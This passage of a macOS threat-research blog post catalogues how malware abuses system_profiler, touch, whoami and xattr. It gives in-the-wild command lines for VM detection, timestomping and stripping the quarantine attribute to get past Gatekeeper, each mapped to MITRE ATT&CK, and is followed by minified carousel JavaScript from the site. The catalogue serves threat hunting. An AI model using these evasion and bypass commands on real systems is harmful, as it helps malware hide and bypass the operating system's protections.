<p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Virtualization/Sandbox Evasion <a href="https://attack.mitre.org/techniques/T1497/" target="_blank" rel="noopener noreferrer">T1497</a></li> <li aria-level="1">System Information Discovery <a href="https://attack.mitre.org/techniques/T1082/" target="_blank" rel="noopener noreferrer">T1082</a></li> </ul> <h2>system_profiler (/usr/sbin/system_profiler)</h2> <p>Reports system hardware and software configuration. This built-in utility is a command line version of the System Information.app (/Applications/Utilities/System Information.app) and is a mainstay of all types of malware, spyware, post-exploitation tools, adware, and PUPs. Because of its deep insight into the entire environment, it can be used for a variety of purposes relating to environment discovery, detection evasion and anti-analysis.</p> <p><b>Common Arguments</b><br /> <code>system_profiler SPHardwareDataType</code><br /> <code>system_profiler SPUSBDataType</code><br /> <code>system_profiler SPNetworkDataType</code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/blog/scripting-macs-with-malice-how-shlayer-and-other-malware-installers-infect-macos/" target="_blank" rel="noopener noreferrer">Bundlore</a><br /> <code>/usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full</code><br /> <a href="https://github.com/EmpireProject/EmPyre" target="_blank" rel="noopener noreferrer">Empyre</a><br /> <code>process = subprocess.Popen("system_profiler SPHardwareDataType", stdout=subprocess.PIPE, shell=True)</code><br /> <a href="https://www.sentinelone.com/blog/how-to-catch-a-spy-detecting-finfisher-spyware-on-macos/" target="_blank" rel="noopener noreferrer">FinFisher/FinSpy</a><br /> <code>system_profiler SPUSBDataType | egrep -i "Manufacturer: (parallels|vmware|virtualbox)"</code><br /> <a href="https://www.sentinelone.com/blog/inside-searchpageinstaller-macos-malware-deploys-mitm-attack/" target="_blank" rel="noopener noreferrer">SearchPageInstaller</a><br /> <code>system_profiler SPNetworkDataType | grep ‘Proxy Enabled’</code><br /> <a href="https://blog.malwarebytes.com/threat-analysis/2016/08/pcvark-plays-dirty/" target="_blank" rel="noopener noreferrer">AMC.PUA</a>, <a href="https://www.sentinelone.com/blog/how-a-new-macos-malware-dropper-delivers-vindinstaller-adware/" target="_blank" rel="noopener noreferrer">Genieo</a><br /> <code>/usr/sbin/system_profiler SPHardwareDataType</code></p> <p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-28435" src="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/system_profiler.jpg" sizes="(max-width: 1734px) 100vw, 1734px" srcset="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/system_profiler.jpg 1734w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/system_profiler-300x143.jpg 300w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/system_profiler-1024x488.jpg 1024w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/system_profiler-768x366.jpg 768w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/system_profiler-1536x732.jpg 1536w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/system_profiler-1140x543.jpg 1140w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/system_profiler-1200x572.jpg 1200w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/system_profiler-96x46.jpg 96w" alt="" width="1734" height="826" /></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">System Information Discovery <a href="https://attack.mitre.org/techniques/T1082/" target="_blank" rel="noopener noreferrer">T1082</a></li> <li aria-level="1">Virtualization/Sandbox Evasion <a href="https://attack.mitre.org/techniques/T1497/" target="_blank" rel="noopener noreferrer">T1497</a></li> </ul> <h2>touch (/usr/bin/touch)</h2> <p>The <a href="https://ss64.com/osx/touch.html" target="_blank" rel="noopener">touch</a> utility sets the modification and access times of files. If any file does not exist, it is created with default permissions. This makes the utility useful to malware in two common scenarios: for creating an empty file at a given path that is later passed data, and/or for changing the timestamp on a file as a means of evasion, also known as “timestomping”.</p> <p><b>Common Arguments</b><br /> <code>touch </code><br /> <code>touch -t </code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/" target="_blank" rel="noopener noreferrer">OceanLotus</a><br /> <code>touch -t 1401140507 /Users/user/Library/User Photos/mount_devfs</code><br /> <a href="https://www.cybereason.com/blog/targetingedge-mac-os-x-pirrit-malware-adware-still-active" target="_blank" rel="noopener noreferrer">Pirrit</a><br /> <code>touch /Applications/.UpdatesMac15</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Indicator Removal on Host: Timestomp <a href="https://attack.mitre.org/techniques/T1070/006/" target="_blank" rel="noopener noreferrer">T1070</a></li> <li aria-level="1">Masquerading <a href="https://attack.mitre.org/techniques/T1036/" target="_blank" rel="noopener noreferrer">T1036</a></li> </ul> <h2>whoami (/usr/bin/whoami)</h2> <p>Display effective user id. Although this utility has been replaced by the more versatile <a href="https://ss64.com/osx/id.html" target="_blank" rel="noopener">id</a> utility, it is still widely used by malware to retrieve the current user’s name. The <a href="https://ss64.com/osx/whoami.html" target="_blank" rel="noopener">whoami</a> command is effectively a synonym for <code>id -un</code>.</p> <p><b>Common Arguments</b><br /> <code>whoami</code></p> <p><b>ITW Examples</b><br /> <a href="https://github.com/neoneggplant/EggShell/blob/master/README.md" target="_blank" rel="noopener noreferrer">EggShell</a><br /> <code>echo '%@' | sudo -S whoami</code><br /> <code>whoami</code><br /> <a href="https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/" target="_blank" rel="noopener noreferrer">Lazarus</a><br /> <code>whoami</code><br /> <a href="https://github.com/n1nj4sec/pupy" target="_blank" rel="noopener noreferrer">Pupy RAT</a><br /> <code>username=`whoami`</code><br /> <a href="https://www.sentinelone.com/labs/detecting-macos-gmera-malware-through-behavioral-inspection/" target="_blank" rel="noopener noreferrer">OSX.GMERA</a><br /> <code>whoami="$(remove_spec_char `whoami`)"</code></p> <p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-28432" src="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/whoami.jpg" sizes="(max-width: 1010px) 100vw, 1010px" srcset="https://www.sentinelone.com/wp-content/uploads/labs/2021/02/whoami.jpg 1010w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/whoami-300x161.jpg 300w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/whoami-768x412.jpg 768w, https://www.sentinelone.com/wp-content/uploads/labs/2021/02/whoami-96x52.jpg 96w" alt="" width="1010" height="542" /></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">System Owner/User Discovery <a href="https://attack.mitre.org/techniques/T1033/" target="_blank" rel="noopener noreferrer">T1033</a></li> </ul> <h2>xattr (/usr/bin/xattr)</h2> <p><a href="https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/" target="_blank" rel="noopener">Display</a> and manipulate extended attributes. Used by malware and threat actors as a means to bypass <a href="https://www.sentinelone.com/blog/how-malware-bypass-macos-gatekeeper/" target="_blank" rel="noopener noreferrer">Gatekeeper</a> and <a href="https://www.sentinelone.com/blog/maco-notarization-security-hardening-or-security-theater/" target="_blank" rel="noopener noreferrer">Notarization</a> checks on macOS. Incredibly, any process or user can remove the file attribute that is required for these checks to proceed without admin rights.</p> <p><b>Common Arguments</b><br /> <code>xattr -d com.apple.quarantine </code><br /> <code>xattr -c</code><br /> <code>xattr -cr</code></p> <p><b>ITW Examples</b><br /> <a href="https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/" target="_blank" rel="noopener noreferrer">OceanLotus</a><br /> <code>find /Users/user -name *ALL tim nha Chi Ngoc Canada* -exec xattr -d com.apple.quarantine {} + </code><br /> <a href="https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html" target="_blank" rel="noopener noreferrer">XCSSET</a><br /> <code>/bin/bash -c xattr -cr '/Applications/Google Chrome.app'</code></p> <p><b>Associated MITRE Techniques</b><br /> The following techniques from MITRE ATT&CK are associated with this tool:</p> <ul> <li aria-level="1">Bypass or Subvert Trust Controls <a href="https://attack.mitre.org/techniques/T1553/" target="_blank" rel="noopener noreferrer">T1553</a></li> </ul> <h2>Conclusion</h2> <p>Many threat actors and malware samples use the same tools on macOS, so monitoring or searching for anomalous use of these tools can help your incident response, threat hunting and blue team efforts. For more in-depth information on macOS threat hunting, grab the free SentinelLabs <a href="https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ&lb-mode=overlay" target="_blank" rel="noopener">Guide to macOS Threat Hunting & Incident Response</a> ebook.</p> </div> </article> </div> <div class="post-tags"> <div><a href="https://www.sentinelone.com/blog/tag/osx/" rel="nofollow">osx</a></div> <div><a href="https://www.sentinelone.com/blog/tag/ttp/" rel="nofollow">TTP</a></div> </div> </div> <div class="section-wrap block-2"> <section class="labs share meta-share-wrap" style=""> <h2>Share</h2> <div class="meta-share"> <a rel="nofollow noopener noreferrer" href="https://twitter.com/intent/tweet?url=https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/&text=20%20Common%20Tools%20%26%20Techniques%20Used%20by%20macOS%20Threat%20Actors%20%26%20Malware" target="_blank"> <svg width="16" height="16" viewBox="0 0 16 16" fill="none" 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itemprop="author" itemscope itemtype="http://schema.org/Person"> <figure class="entry-author-avatar"><img alt='' src='https://secure.gravatar.com/avatar/988f7b3ecd37145cc3e640511359a285?s=120&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/988f7b3ecd37145cc3e640511359a285?s=240&d=mm&r=g 2x' class='avatar avatar-120 photo' height='120' width='120' loading='lazy' decoding='async'/></figure> <div class="entry-author-info"> <h4 class="entry-author-name" itemprop="name"> <a href="https://www.sentinelone.com/blog/author/macoswriter/"> <span class="author vcard"> <span class="fn">Phil Stokes</span> </span> </a> </h4> <div class="entry-author-description" itemprop="description">Phil Stokes is a Threat Researcher at SentinelOne, specializing in macOS threat intelligence, platform vulnerabilities and malware analysis. He began his journey into macOS security as a software developer, creating end user troubleshooting and security tools just at the time when macOS adware and commodity malware first began appearing on the platform. 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Q=0;Q<p.length;Q+=1){var J=p[Q];e.roundLengths&&(J=Math.floor(J)),p[Q]<this.virtualSize+p[0]&&C.push(J)}p=C}if(!e.centeredSlides){C=[];for(var ee=0;ee<p.length;ee+=1){var te=p[ee];e.roundLengths&&(te=Math.floor(te)),p[ee]<=this.virtualSize-s&&C.push(te)}p=C,Math.floor(this.virtualSize-s)-Math.floor(p[p.length-1])>1&&p.push(this.virtualSize-s)}if(0===p.length&&(p=[0]),0!==e.spaceBetween&&(this.isHorizontal()?a?d.filter(v).css({marginLeft:w+"px"}):d.filter(v).css({marginRight:w+"px"}):d.filter(v).css({marginBottom:w+"px"})),e.centeredSlides&&e.centeredSlidesBounds){var ie=0;u.forEach((function(t){ie+=t+(e.spaceBetween?e.spaceBetween:0)}));var se=(ie-=e.spaceBetween)-s;p=p.map((function(e){return e<0?-f:e>se?se+m:e}))}if(e.centerInsufficientSlides){var ae=0;if(u.forEach((function(t){ae+=t+(e.spaceBetween?e.spaceBetween:0)})),(ae-=e.spaceBetween)<s){var re=(s-ae)/2;p.forEach((function(e,t){p[t]=e-re})),c.forEach((function(e,t){c[t]=e+re}))}}n.extend(this,{slides:d,snapGrid:p,slidesGrid:c,slidesSizesGrid:u}),h!==l&&this.emit("slidesLengthChange"),p.length!==g&&(this.params.watchOverflow&&this.checkOverflow(),this.emit("snapGridLengthChange")),c.length!==b&&this.emit("slidesGridLengthChange"),(e.watchSlidesProgress||e.watchSlidesVisibility)&&this.updateSlidesOffset()}},updateAutoHeight:function(e){var t,i=[],s=0;if("number"==typeof e?this.setTransition(e):!0===e&&this.setTransition(this.params.speed),"auto"!==this.params.slidesPerView&&this.params.slidesPerView>1)if(this.params.centeredSlides)this.visibleSlides.each((function(e,t){i.push(t)}));else for(t=0;t<Math.ceil(this.params.slidesPerView);t+=1){var a=this.activeIndex+t;if(a>this.slides.length)break;i.push(this.slides.eq(a)[0])}else i.push(this.slides.eq(this.activeIndex)[0]);for(t=0;t<i.length;t+=1)if(void 0!==i[t]){var r=i[t].offsetHeight;s=r>s?r:s}s&&this.$wrapperEl.css("height",s+"px")},updateSlidesOffset:function(){for(var e=this.slides,t=0;t<e.length;t+=1)e[t].swiperSlideOffset=this.isHorizontal()?e[t].offsetLeft:e[t].offsetTop},updateSlidesProgress:function(e){void 0===e&&(e=this&&this.translate||0);var t=this.params,i=this.slides,a=this.rtlTranslate;if(0!==i.length){void 0===i[0].swiperSlideOffset&&this.updateSlidesOffset();var r=-e;a&&(r=e),i.removeClass(t.slideVisibleClass),this.visibleSlidesIndexes=[],this.visibleSlides=[];for(var n=0;n<i.length;n+=1){var o=i[n],l=(r+(t.centeredSlides?this.minTranslate():0)-o.swiperSlideOffset)/(o.swiperSlideSize+t.spaceBetween);if(t.watchSlidesVisibility||t.centeredSlides&&t.autoHeight){var d=-(r-o.swiperSlideOffset),h=d+this.slidesSizesGrid[n];(d>=0&&d<this.size-1||h>1&&h<=this.size||d<=0&&h>=this.size)&&(this.visibleSlides.push(o),this.visibleSlidesIndexes.push(n),i.eq(n).addClass(t.slideVisibleClass))}o.progress=a?-l:l}this.visibleSlides=s(this.visibleSlides)}},updateProgress:function(e){if(void 0===e){var t=this.rtlTranslate?-1:1;e=this&&this.translate&&this.translate*t||0}var i=this.params,s=this.maxTranslate()-this.minTranslate(),a=this.progress,r=this.isBeginning,o=this.isEnd,l=r,d=o;0===s?(a=0,r=!0,o=!0):(r=(a=(e-this.minTranslate())/s)<=0,o=a>=1),n.extend(this,{progress:a,isBeginning:r,isEnd:o}),(i.watchSlidesProgress||i.watchSlidesVisibility||i.centeredSlides&&i.autoHeight)&&this.updateSlidesProgress(e),r&&!l&&this.emit("reachBeginning toEdge"),o&&!d&&this.emit("reachEnd toEdge"),(l&&!r||d&&!o)&&this.emit("fromEdge"),this.emit("progress",a)},updateSlidesClasses:function(){var e,t=this.slides,i=this.params,s=this.$wrapperEl,a=this.activeIndex,r=this.realIndex,n=this.virtual&&i.virtual.enabled;t.removeClass(i.slideActiveClass+" "+i.slideNextClass+" "+i.slidePrevClass+" "+i.slideDuplicateActiveClass+" "+i.slideDuplicateNextClass+" "+i.slideDuplicatePrevClass),(e=n?this.$wrapperEl.find("."+i.slideClass+'[data-swiper-slide-index="'+a+'"]'):t.eq(a)).addClass(i.slideActiveClass),i.loop&&(e.hasClass(i.slideDuplicateClass)?s.children("."+i.slideClass+":not(."+i.slideDuplicateClass+')[data-swiper-slide-index="'+r+'"]').addClass(i.slideDuplicateActiveClass):s.children("."+i.slideClass+"."+i.slideDuplicateClass+'[data-swiper-slide-index="'+r+'"]').addClass(i.slideDuplicateActiveClass));var o=e.nextAll("."+i.slideClass).eq(0).addClass(i.slideNextClass);i.loop&&0===o.length&&(o=t.eq(0)).addClass(i.slideNextClass);var l=e.prevAll("."+i.slideClass).eq(0).addClass(i.slidePrevClass);i.loop&&0===l.length&&(l=t.eq(-1)).addClass(i.slidePrevClass),i.loop&&(o.hasClass(i.slideDuplicateClass)?s.children("."+i.slideClass+":not(."+i.slideDuplicateClass+')[data-swiper-slide-index="'+o.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicateNextClass):s.children("."+i.slideClass+"."+i.slideDuplicateClass+'[data-swiper-slide-index="'+o.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicateNextClass),l.hasClass(i.slideDuplicateClass)?s.children("."+i.slideClass+":not(."+i.slideDuplicateClass+')[data-swiper-slide-index="'+l.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicatePrevClass):s.children("."+i.slideClass+"."+i.slideDuplicateClass+'[data-swiper-slide-index="'+l.attr("data-swiper-slide-index")+'"]').addClass(i.slideDuplicatePrevClass))},updateActiveIndex:function(e){var t,i=this.rtlTranslate?this.translate:-this.translate,s=this.slidesGrid,a=this.snapGrid,r=this.params,o=this.activeIndex,l=this.realIndex,d=this.snapIndex,h=e;if(void 0===h){for(var p=0;p<s.length;p+=1)void 0!==s[p+1]?i>=s[p]&&i<s[p+1]-(s[p+1]-s[p])/2?h=p:i>=s[p]&&i<s[p+1]&&(h=p+1):i>=s[p]&&(h=p);r.normalizeSlideIndex&&(h<0||void 0===h)&&(h=0)}if(a.indexOf(i)>=0)t=a.indexOf(i);else{var c=Math.min(r.slidesPerGroupSkip,h);t=c+Math.floor((h-c)/r.slidesPerGroup)}if(t>=a.length&&(t=a.length-1),h!==o){var u=parseInt(this.slides.eq(h).attr("data-swiper-slide-index")||h,10);n.extend(this,{snapIndex:t,realIndex:u,previousIndex:o,activeIndex:h}),this.emit("activeIndexChange"),this.emit("snapIndexChange"),l!==u&&this.emit("realIndexChange"),(this.initialized||this.params.runCallbacksOnInit)&&this.emit("slideChange")}else t!==d&&(this.snapIndex=t,this.emit("snapIndexChange"))},updateClickedSlide:function(e){var t=this.params,i=s(e.target).closest("."+t.slideClass)[0],a=!1;if(i)for(var r=0;r<this.slides.length;r+=1)this.slides[r]===i&&(a=!0);if(!i||!a)return this.clickedSlide=void 0,void(this.clickedIndex=void 0);this.clickedSlide=i,this.virtual&&this.params.virtual.enabled?this.clickedIndex=parseInt(s(i).attr("data-swiper-slide-index"),10):this.clickedIndex=s(i).index(),t.slideToClickedSlide&&void 0!==this.clickedIndex&&this.clickedIndex!==this.activeIndex&&this.slideToClickedSlide()}};var p={getTranslate:function(e){void 0===e&&(e=this.isHorizontal()?"x":"y");var t=this.params,i=this.rtlTranslate,s=this.translate,a=this.$wrapperEl;if(t.virtualTranslate)return i?-s:s;if(t.cssMode)return s;var r=n.getTranslate(a[0],e);return i&&(r=-r),r||0},setTranslate:function(e,t){var i=this.rtlTranslate,s=this.params,a=this.$wrapperEl,r=this.wrapperEl,n=this.progress,o=0,l=0;this.isHorizontal()?o=i?-e:e:l=e,s.roundLengths&&(o=Math.floor(o),l=Math.floor(l)),s.cssMode?r[this.isHorizontal()?"scrollLeft":"scrollTop"]=this.isHorizontal()?-o:-l:s.virtualTranslate||a.transform("translate3d("+o+"px, "+l+"px, 0px)"),this.previousTranslate=this.translate,this.translate=this.isHorizontal()?o:l;var d=this.maxTranslate()-this.minTranslate();(0===d?0:(e-this.minTranslate())/d)!==n&&this.updateProgress(e),this.emit("setTranslate",this.translate,t)},minTranslate:function(){return-this.snapGrid[0]},maxTranslate:function(){return-this.snapGrid[this.snapGrid.length-1]},translateTo:function(e,t,i,s,a){var r;void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===i&&(i=!0),void 0===s&&(s=!0);var n=this,o=n.params,l=n.wrapperEl;if(n.animating&&o.preventInteractionOnTransition)return!1;var d,h=n.minTranslate(),p=n.maxTranslate();if(d=s&&e>h?h:s&&e<p?p:e,n.updateProgress(d),o.cssMode){var c=n.isHorizontal();return 0===t?l[c?"scrollLeft":"scrollTop"]=-d:l.scrollTo?l.scrollTo(((r={})[c?"left":"top"]=-d,r.behavior="smooth",r)):l[c?"scrollLeft":"scrollTop"]=-d,!0}return 0===t?(n.setTransition(0),n.setTranslate(d),i&&(n.emit("beforeTransitionStart",t,a),n.emit("transitionEnd"))):(n.setTransition(t),n.setTranslate(d),i&&(n.emit("beforeTransitionStart",t,a),n.emit("transitionStart")),n.animating||(n.animating=!0,n.onTranslateToWrapperTransitionEnd||(n.onTranslateToWrapperTransitionEnd=function(e){n&&!n.destroyed&&e.target===this&&(n.$wrapperEl[0].removeEventListener("transitionend",n.onTranslateToWrapperTransitionEnd),n.$wrapperEl[0].removeEventListener("webkitTransitionEnd",n.onTranslateToWrapperTransitionEnd),n.onTranslateToWrapperTransitionEnd=null,delete n.onTranslateToWrapperTransitionEnd,i&&n.emit("transitionEnd"))}),n.$wrapperEl[0].addEventListener("transitionend",n.onTranslateToWrapperTransitionEnd),n.$wrapperEl[0].addEventListener("webkitTransitionEnd",n.onTranslateToWrapperTransitionEnd))),!0}};var c={setTransition:function(e,t){this.params.cssMode||this.$wrapperEl.transition(e),this.emit("setTransition",e,t)},transitionStart:function(e,t){void 0===e&&(e=!0);var i=this.activeIndex,s=this.params,a=this.previousIndex;if(!s.cssMode){s.autoHeight&&this.updateAutoHeight();var r=t;if(r||(r=i>a?"next":i<a?"prev":"reset"),this.emit("transitionStart"),e&&i!==a){if("reset"===r)return void this.emit("slideResetTransitionStart");this.emit("slideChangeTransitionStart"),"next"===r?this.emit("slideNextTransitionStart"):this.emit("slidePrevTransitionStart")}}},transitionEnd:function(e,t){void 0===e&&(e=!0);var i=this.activeIndex,s=this.previousIndex,a=this.params;if(this.animating=!1,!a.cssMode){this.setTransition(0);var r=t;if(r||(r=i>s?"next":i<s?"prev":"reset"),this.emit("transitionEnd"),e&&i!==s){if("reset"===r)return void this.emit("slideResetTransitionEnd");this.emit("slideChangeTransitionEnd"),"next"===r?this.emit("slideNextTransitionEnd"):this.emit("slidePrevTransitionEnd")}}}};var u={slideTo:function(e,t,i,s){var a;void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===i&&(i=!0);var r=this,n=e;n<0&&(n=0);var o=r.params,l=r.snapGrid,d=r.slidesGrid,h=r.previousIndex,p=r.activeIndex,c=r.rtlTranslate,u=r.wrapperEl;if(r.animating&&o.preventInteractionOnTransition)return!1;var v=Math.min(r.params.slidesPerGroupSkip,n),f=v+Math.floor((n-v)/r.params.slidesPerGroup);f>=l.length&&(f=l.length-1),(p||o.initialSlide||0)===(h||0)&&i&&r.emit("beforeSlideChangeStart");var m,g=-l[f];if(r.updateProgress(g),o.normalizeSlideIndex)for(var b=0;b<d.length;b+=1)-Math.floor(100*g)>=Math.floor(100*d[b])&&(n=b);if(r.initialized&&n!==p){if(!r.allowSlideNext&&g<r.translate&&g<r.minTranslate())return!1;if(!r.allowSlidePrev&&g>r.translate&&g>r.maxTranslate()&&(p||0)!==n)return!1}if(m=n>p?"next":n<p?"prev":"reset",c&&-g===r.translate||!c&&g===r.translate)return r.updateActiveIndex(n),o.autoHeight&&r.updateAutoHeight(),r.updateSlidesClasses(),"slide"!==o.effect&&r.setTranslate(g),"reset"!==m&&(r.transitionStart(i,m),r.transitionEnd(i,m)),!1;if(o.cssMode){var w=r.isHorizontal(),y=-g;return c&&(y=u.scrollWidth-u.offsetWidth-y),0===t?u[w?"scrollLeft":"scrollTop"]=y:u.scrollTo?u.scrollTo(((a={})[w?"left":"top"]=y,a.behavior="smooth",a)):u[w?"scrollLeft":"scrollTop"]=y,!0}return 0===t?(r.setTransition(0),r.setTranslate(g),r.updateActiveIndex(n),r.updateSlidesClasses(),r.emit("beforeTransitionStart",t,s),r.transitionStart(i,m),r.transitionEnd(i,m)):(r.setTransition(t),r.setTranslate(g),r.updateActiveIndex(n),r.updateSlidesClasses(),r.emit("beforeTransitionStart",t,s),r.transitionStart(i,m),r.animating||(r.animating=!0,r.onSlideToWrapperTransitionEnd||(r.onSlideToWrapperTransitionEnd=function(e){r&&!r.destroyed&&e.target===this&&(r.$wrapperEl[0].removeEventListener("transitionend",r.onSlideToWrapperTransitionEnd),r.$wrapperEl[0].removeEventListener("webkitTransitionEnd",r.onSlideToWrapperTransitionEnd),r.onSlideToWrapperTransitionEnd=null,delete r.onSlideToWrapperTransitionEnd,r.transitionEnd(i,m))}),r.$wrapperEl[0].addEventListener("transitionend",r.onSlideToWrapperTransitionEnd),r.$wrapperEl[0].addEventListener("webkitTransitionEnd",r.onSlideToWrapperTransitionEnd))),!0},slideToLoop:function(e,t,i,s){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===i&&(i=!0);var a=e;return this.params.loop&&(a+=this.loopedSlides),this.slideTo(a,t,i,s)},slideNext:function(e,t,i){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);var s=this.params,a=this.animating,r=this.activeIndex<s.slidesPerGroupSkip?1:s.slidesPerGroup;if(s.loop){if(a)return!1;this.loopFix(),this._clientLeft=this.$wrapperEl[0].clientLeft}return this.slideTo(this.activeIndex+r,e,t,i)},slidePrev:function(e,t,i){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);var s=this.params,a=this.animating,r=this.snapGrid,n=this.slidesGrid,o=this.rtlTranslate;if(s.loop){if(a)return!1;this.loopFix(),this._clientLeft=this.$wrapperEl[0].clientLeft}function l(e){return e<0?-Math.floor(Math.abs(e)):Math.floor(e)}var d,h=l(o?this.translate:-this.translate),p=r.map((function(e){return l(e)})),c=(n.map((function(e){return l(e)})),r[p.indexOf(h)],r[p.indexOf(h)-1]);return void 0===c&&s.cssMode&&r.forEach((function(e){!c&&h>=e&&(c=e)})),void 0!==c&&(d=n.indexOf(c))<0&&(d=this.activeIndex-1),this.slideTo(d,e,t,i)},slideReset:function(e,t,i){return void 0===e&&(e=this.params.speed),void 0===t&&(t=!0),this.slideTo(this.activeIndex,e,t,i)},slideToClosest:function(e,t,i,s){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0),void 0===s&&(s=.5);var a=this.activeIndex,r=Math.min(this.params.slidesPerGroupSkip,a),n=r+Math.floor((a-r)/this.params.slidesPerGroup),o=this.rtlTranslate?this.translate:-this.translate;if(o>=this.snapGrid[n]){var l=this.snapGrid[n];o-l>(this.snapGrid[n+1]-l)*s&&(a+=this.params.slidesPerGroup)}else{var d=this.snapGrid[n-1];o-d<=(this.snapGrid[n]-d)*s&&(a-=this.params.slidesPerGroup)}return a=Math.max(a,0),a=Math.min(a,this.slidesGrid.length-1),this.slideTo(a,e,t,i)},slideToClickedSlide:function(){var e,t=this,i=t.params,a=t.$wrapperEl,r="auto"===i.slidesPerView?t.slidesPerViewDynamic():i.slidesPerView,o=t.clickedIndex;if(i.loop){if(t.animating)return;e=parseInt(s(t.clickedSlide).attr("data-swiper-slide-index"),10),i.centeredSlides?o<t.loopedSlides-r/2||o>t.slides.length-t.loopedSlides+r/2?(t.loopFix(),o=a.children("."+i.slideClass+'[data-swiper-slide-index="'+e+'"]:not(.'+i.slideDuplicateClass+")").eq(0).index(),n.nextTick((function(){t.slideTo(o)}))):t.slideTo(o):o>t.slides.length-r?(t.loopFix(),o=a.children("."+i.slideClass+'[data-swiper-slide-index="'+e+'"]:not(.'+i.slideDuplicateClass+")").eq(0).index(),n.nextTick((function(){t.slideTo(o)}))):t.slideTo(o)}else t.slideTo(o)}};var v={loopCreate:function(){var t=this,i=t.params,a=t.$wrapperEl;a.children("."+i.slideClass+"."+i.slideDuplicateClass).remove();var r=a.children("."+i.slideClass);if(i.loopFillGroupWithBlank){var n=i.slidesPerGroup-r.length%i.slidesPerGroup;if(n!==i.slidesPerGroup){for(var o=0;o<n;o+=1){var l=s(e.createElement("div")).addClass(i.slideClass+" "+i.slideBlankClass);a.append(l)}r=a.children("."+i.slideClass)}}"auto"!==i.slidesPerView||i.loopedSlides||(i.loopedSlides=r.length),t.loopedSlides=Math.ceil(parseFloat(i.loopedSlides||i.slidesPerView,10)),t.loopedSlides+=i.loopAdditionalSlides,t.loopedSlides>r.length&&(t.loopedSlides=r.length);var d=[],h=[];r.each((function(e,i){var a=s(i);e<t.loopedSlides&&h.push(i),e<r.length&&e>=r.length-t.loopedSlides&&d.push(i),a.attr("data-swiper-slide-index",e)}));for(var p=0;p<h.length;p+=1)a.append(s(h[p].cloneNode(!0)).addClass(i.slideDuplicateClass));for(var c=d.length-1;c>=0;c-=1)a.prepend(s(d[c].cloneNode(!0)).addClass(i.slideDuplicateClass))},loopFix:function(){this.emit("beforeLoopFix");var e,t=this.activeIndex,i=this.slides,s=this.loopedSlides,a=this.allowSlidePrev,r=this.allowSlideNext,n=this.snapGrid,o=this.rtlTranslate;this.allowSlidePrev=!0,this.allowSlideNext=!0;var l=-n[t]-this.getTranslate();if(t<s)e=i.length-3*s+t,e+=s,this.slideTo(e,0,!1,!0)&&0!==l&&this.setTranslate((o?-this.translate:this.translate)-l);else if(t>=i.length-s){e=-i.length+t+s,e+=s,this.slideTo(e,0,!1,!0)&&0!==l&&this.setTranslate((o?-this.translate:this.translate)-l)}this.allowSlidePrev=a,this.allowSlideNext=r,this.emit("loopFix")},loopDestroy:function(){var e=this.$wrapperEl,t=this.params,i=this.slides;e.children("."+t.slideClass+"."+t.slideDuplicateClass+",."+t.slideClass+"."+t.slideBlankClass).remove(),i.removeAttr("data-swiper-slide-index")}};var f={setGrabCursor:function(e){if(!(o.touch||!this.params.simulateTouch||this.params.watchOverflow&&this.isLocked||this.params.cssMode)){var t=this.el;t.style.cursor="move",t.style.cursor=e?"-webkit-grabbing":"-webkit-grab",t.style.cursor=e?"-moz-grabbin":"-moz-grab",t.style.cursor=e?"grabbing":"grab"}},unsetGrabCursor:function(){o.touch||this.params.watchOverflow&&this.isLocked||this.params.cssMode||(this.el.style.cursor="")}};var m,g,b,w,y,x,T,E,S,C,M,P,z,k,$,L={appendSlide:function(e){var t=this.$wrapperEl,i=this.params;if(i.loop&&this.loopDestroy(),"object"==typeof e&&"length"in e)for(var s=0;s<e.length;s+=1)e[s]&&t.append(e[s]);else t.append(e);i.loop&&this.loopCreate(),i.observer&&o.observer||this.update()},prependSlide:function(e){var t=this.params,i=this.$wrapperEl,s=this.activeIndex;t.loop&&this.loopDestroy();var a=s+1;if("object"==typeof e&&"length"in e){for(var r=0;r<e.length;r+=1)e[r]&&i.prepend(e[r]);a=s+e.length}else i.prepend(e);t.loop&&this.loopCreate(),t.observer&&o.observer||this.update(),this.slideTo(a,0,!1)},addSlide:function(e,t){var 